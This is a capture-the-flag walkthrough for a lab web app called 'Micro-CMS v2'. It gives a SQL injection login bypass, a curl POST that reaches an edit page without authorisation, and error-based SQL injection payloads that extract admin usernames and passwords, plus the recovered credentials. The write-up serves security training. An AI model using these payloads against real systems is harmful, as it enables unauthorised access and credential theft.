TOPIC 2

==========

Micro-CMS v2

Objective

=================

Flag 1

======

The first flag can be obtained by trying to log in as admin using SQL injection. Login Username:admin’ union select ‘123’ as password FROM admins WHERE ‘1’ = ‘1 Password: 123

Click the “Private Page” after login and you’ll see the flag.  
==========================

Flag 2

=========

Using curl to directly POST to the edit url gets the flag.

curl -v -X POST <http://35.190.155.168/29f57ff6be/page/edit/2>

=====================

Flag3

=============

We need to use SQL injection to get the actual admin username and password. We already know there is a table named admins that definitely has columns named username and password based on the error messages seen before: One is ‘Unkown user’, the other is ‘Invalid password’.

Test 1: username=foo' OR (select 1 from(select count(\*),concat((select (select (SELECT concat(0x7e,0x27,cast(admins.username as char),0x27,0x7e) FROM `level2`.admins LIMIT 0,1) ) from information\_schema.tables limit 0,1),floor(rand(0)\*2))x from information\_schema.tables group by x)a) AND '1' = '1

Test 2:username=foo' OR (select 1 from(select count(\*),concat((select (select (SELECT concat(0x7e,0x27,cast(admins.password as char),0x27,0x7e) FROM `level2`.admins LIMIT 0,1) ) from information\_schema.tables limit 0,1),floor(rand(0)\*2))x from information\_schema.tables group by x)a) AND '1' = '1

There it is, now useu sername=dario and password=antonette to login and you’ll see the 3rd flag.

OR

maybe use burpsuite attack to find username and password